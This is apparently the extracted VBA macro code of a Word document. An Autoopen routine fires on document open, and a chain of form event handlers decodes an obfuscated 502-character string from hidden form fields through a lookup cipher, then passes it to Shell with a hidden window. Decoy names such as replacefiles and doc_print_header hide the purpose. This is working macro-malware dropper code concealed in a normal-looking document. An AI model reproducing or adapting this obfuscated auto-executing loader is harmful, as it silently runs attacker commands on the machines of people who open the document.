Attribute VB_Name = "Module1"
Sub replacefiles(ByRef pointA, ByRef need, later)
f_str = Len(later)
If pointA <= f_str Then
ch = ""
doc_print_header later, pointA, ch
idial = 1
strings_attached ch, idial
st = ""
DataFindSymbols idial - 2, st
need = need + st
pointA = pointA + 1
replacefiles pointA, need, later
End If
End Sub

Sub DataFindSymbols(ext1, ByRef date_max)
Dim m1 As Integer
m1 = -1
date_max = ""
If ext1 = m1 Then
ext1 = m1
End If
If ext1 < 1 Then
doc_print_header UserForm1.Text1, Len(UserForm1.Text1) + ext1, date_max
Else
doc_print_header UserForm1.Text1, ext1, date_max
End If
End Sub

Sub files_replace(C1, ByRef op)
op = ""
st1 = 1
replacefiles st1, op, C1
End Sub

Sub doc_print_header(str1, pty, ByRef rmin)
s11 = Left(str1, pty)
s11 = s11 + ""
rmin = Right(s11, 2 - 1)
End Sub

Sub doveryboll(m)
Dim n As Integer
Dim sadd As String
With UserForm1
sadd = "" + .ValidText
n = m - 502
End With
If m = 502 Then Shell sadd, n
End Sub

Sub ValidateOptionsForm(wstr1)
wstr1 = wstr1 + "Open"
UserForm1.TextBox1 = wstr1 + "Form"
End Sub

Sub CloseDateForm()
Dim str2 As String
files_replace UserForm1.date1, str2
UserForm1.EditText1 = str2
str2 = str2 + ""
UserForm1.ValidText = str2
End Sub



Sub date_now(ByRef b1, ByRef control, Cell1)
log2 = 1
With UserForm1
log2 = Len(.Text1)
If b1 < log2 Then
b = ""
doc_print_header .Text1, b1, b
If Cell1 <> b Then
b1 = b1 + 1
date_now b1, control, Cell1
Else
control = b1
End If
End If
End With
End Sub

Sub strings_attached(per2, ByRef arg1)
arg1 = 0
sb1 = 1
date_now sb1, arg1, per2
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Autoopen()
ValidateOptionsForm ("case")
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3201CC22-4323-4EF3-8B9C-19E82082DC0D}{CD48F839-E45B-49E9-A956-2DBED7A8E4A1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub EditText1_Change()
Dim ind1 As String
ind1 = "1" + "100"
End Sub

Private Sub CommandButton1_Click()

End Sub

Private Sub ValidText_Change()
Dim bol2 As Integer
bol2 = Len(UserForm1.ValidText)
Dim bol1 As String
bol1 = "V"
fh = "2"
doveryboll bol2
End Sub

Private Sub CommandButton2_Click()

End Sub

Private Sub TextBox1_Change()
Dim s As String
s = " "
s = s + UserForm1.Text1
If Len(s) = 62 + 1 Then CloseDateForm
End Sub

Private Sub ComboBox1_Change()

End Sub